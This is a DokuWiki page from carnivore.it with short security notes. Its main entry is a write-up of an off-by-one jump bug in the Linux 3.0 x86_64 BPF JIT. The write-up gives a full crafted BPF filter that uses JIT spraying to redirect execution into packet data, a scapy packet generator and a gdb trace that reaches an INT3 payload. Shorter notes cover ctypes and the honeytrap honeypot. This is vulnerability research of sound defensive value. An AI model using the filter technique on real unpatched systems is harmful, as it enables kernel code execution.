Software at carnivore.it

dionaea

nepenthes

libemu

nebula

liblcfg


bpf performance

about bpf

The BSD or Berkely Packet Filter is a register-based filter evaluator and network tap invented 1990 by Steven McCanne and Van Jacobson to replace the CMU/Stanford Packet Filter (CSPF) and Sun NIT filter technology with a faster alternative1). While bpf consists of two components, the filter evaluator and the network tap, we'll ignore the network tap and focus on the filter evaluator instead.

linux 3.0 bpf jit x86_64 exploit

The bug is fixed already 1), so lets look into the details. For long conditional jumps the jit compiler would create an jump offset off by one, so we would jump into the instruction instead of infront of the instruction.

Taking the filter which made me notice the problem: ”(tcp and portrange 0-1024) or (udp and portrange 1025-2048)”

The relevant part of the bpf filter

(008) jge      #0x0             jt 26   jf 38
...
(026) jgt      #0x400           jt 38   jf 37

and the relevant part of the jit code

00000062  83F800            cmp eax,byte +0x0
00000065  0F83A2000000      jnc dword 0x10d
...
0000010C  3D00040000        cmp eax,0x400

jnc dword 0x10d is off-by-one.

As we got a pointer to the packet within the jit on r8 2) anyway, idea would be executing the packets payload. All we've have to do is increase r8 by 24 (for a udp packet on linktype 1), and call r8. While we have a bpf instruction which will cause the jit to emit a static byte, followed by 4 static bytes defined by the filter

#define EMIT1_off32(b1, off)	do { EMIT1(b1); EMIT(off, 4);} while (0)

, we want to execute:

00000000  4983C02A          add r8,byte +0x2a
00000004  41FFD0            call r8

We'd need more than 4 bytes, so lets copy r8 to r10 first trigger the bug multiple times -once for each instruction required- to create a valid pointer to the payload.

00000000  4D89C2            mov r10,r8
00000003  4983C22A          add r10,byte +0x2a
00000007  41FFD2            call r10

Now, lets emit code,

jeq	#0x90C2894D,label_pmov0,label_pmov1

would emit

00000000  3D4D89C290        cmp eax,0x90c2894d
00000005  741F              jz label_pmov0
00000007  EB2B              jmp short label_pmov1

the call would jump to 00000001, executing:

00000000  4D89C2            mov r10,r8
00000003  90                nop  
00000005  740C              jz label_pmov0
00000007  EB18              jmp short label_pmov1

So, the real magic for this bug is in the filter:
dot graph of the filter - click to enlarge
As you can see on the callgraph of the filter, it will execute the very same instructions independent of the result of the comparisons.

ldh	[0]
jge	#0x0,label_movt,label_movf
 
/* waste some space to enforce a jnc dword */
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
 
label_movt:
/* 4D89C2            mov r10,r8 */
jeq	#0x90C2894D,label_pmov0,label_pmov1
ldh	[0]
 
label_movf: 
/* 4D89C2            mov r10,r8 */
jeq	#0x90C2894D,label_pmov0,label_pmov1
ldh	[0]
 
label_pmov0:
jge	#0x0,label_addt,label_addf
label_pmov1:
jge	#0x0,label_addt,label_addf
 
/* waste some space to enforce a jnc dword */
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
 
label_addt:
/* 4983C22A          add r10,byte +0x2a */
jeq	#0x2AC28349,label_padd0,label_padd1
 
label_addf:
/* 4983C22A          add r10,byte +0x2a */
jeq	#0x2AC28349,label_padd0,label_padd1
ldh	[0]
 
label_padd0:
jge	#0x0,label_callt,label_callf
label_padd1:
jge	#0x0,label_callt,label_callf
 
/* waste some space to enforce a jnc dword */
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
 
label_callt:
/* 41FFD2            call r10 */
jeq	#0x90D2FF41,label_ret0,label_ret1
 
label_callf:
/* 41FFD2            call r10 */
jeq	#0x90D2FF41,label_ret0,label_ret1
 
ldh	[0]
 
label_ret0:
ret	a
label_ret1:
ret	a

I compiled this filter with a modified version of bpfc to allow comments, will provide the patch upstream.

To demonstrate possible exploitation of this bug, lets create a udp packet with payload INT3.

import bpf
from scapy.all import Ether,IP,IPv6,TCP,UDP,fuzz,RandIP,RandIP6,RandMAC,RandString,Raw
a = bpf.pcap_file()
a.create("payload.pcap",linktype=1,snaplen=16*1024)
p = Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/UDP(sport=53,dport=1111)/Raw('\xcc'*512)
a.write(p.build())
a.close()

Porting the kernel jit to userspace, running in gdb and breakpoint on the jit code:

=> 0x7ffff7fd5001:	mov    rbp,rsp
=> 0x7ffff7fd5004:	sub    rsp,0x60
=> 0x7ffff7fd5008:	mov    QWORD PTR [rbp-0x8],rbx
=> 0x7ffff7fd500c:	mov    r9d,DWORD PTR [rdi+0x0]
=> 0x7ffff7fd5010:	sub    r9d,DWORD PTR [rdi+0x4]
=> 0x7ffff7fd5014:	mov    r8,QWORD PTR [rdi+0x8]
=> 0x7ffff7fd5018:	mov    esi,0x0
=> 0x7ffff7fd501d:	call   0x7ffff7369bd5 <sk_load_half>
=> 0x7ffff7fd5022:	cmp    eax,0x0
=> 0x7ffff7fd5025:	jae    0x7ffff7fd50b3
=> 0x7ffff7fd50b3:	mov    r10,r8
=> 0x7ffff7fd50b6:	nop
=> 0x7ffff7fd50b7:	je     0x7ffff7fd50d8
=> 0x7ffff7fd50b9:	jmp    0x7ffff7fd50e6
=> 0x7ffff7fd50e6:	cmp    eax,0x0
=> 0x7ffff7fd50e9:	jae    0x7ffff7fd5177
=> 0x7ffff7fd5177:	add    r10,0x2a
=> 0x7ffff7fd517b:	je     0x7ffff7fd5192
=> 0x7ffff7fd517d:	jmp    0x7ffff7fd51a0
=> 0x7ffff7fd51a0:	cmp    eax,0x0
=> 0x7ffff7fd51a3:	jae    0x7ffff7fd5231
=> 0x7ffff7fd5231:	call   r10
=> 0x618c6a:	int3   

Looking on the executed code, we could have worked with r8 directly instead.

Exploitability .., to attach the filter to a socket in the kernel, you need local root - any further questions?

python3 - ctypes

ctypes

If you want to use a native library in python, but there is no binding, you can 'try' to interface the library with ctypes.

As I wanted to play with bpf, which is part of libpcap, which lacks a python3 binding, I decided to try ctypes.

What I wanted to do:

  • compile a bpf filter like dst port 445 and src net 127.0.0.0/8
  • match the bpf filter on a buffer

Knock Knock Knocking ...

Running a honeypot, it is good to see it gets attacked and does something, but more important than attacks you see, are attacks you do not see. You can miss attacks for many reasons, the most common:

  1. the attack is does not complete due to software bugs or incomplete emulation
  2. the software does not detect the attack
  3. you don't expect an attack on a given port and therefore do not provide a service

honeytrap - looking in the mirror

Yesterday I came across http://honeytrap.sf.net written by Tillmann Werner, and after digging it a little, I think it's a good thing to talk about. honeytrap is a slightly different approach to collect malware than nepenthes, honeytrap monitors the interfaces streams with libcap and uses a bpf pattern to capture only TCP RST packets send by the localhost to a remote host.

RST means reset, and it is (in this case) used to tell the remote host there is no service listening on the port he tried to connect. Once such a RST packet is captured, honeytrap opens the port the remote asked for, and following connections to the same port will be accepted.

Furthermore honeytrap offers a so called “mirror mode”, if an attacker connects your honeytrap, honeytrap can connect the attacker on the same port, honeytrap will send the attacker everything the attacker sends him. This way it is possible to emulate weaknesses without knowing about them, using the attackers weakness as a 'mirror'.

To be able to download malware, honeytrap offers a similar shell emulation to nepenthes and can download the files via tftp and ftp too.

Really cool, you should at give it a shot.

The similar nepenthes module module-honeytrap does not offer the mirror mode yet, but allows accepting connections to unbound ports intercepting the tcp handshake using ip_queue and libipq.

start.txt · Last modified: 2010/10/13 12:09 by common
chimeric.de = chi`s home Creative Commons License Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0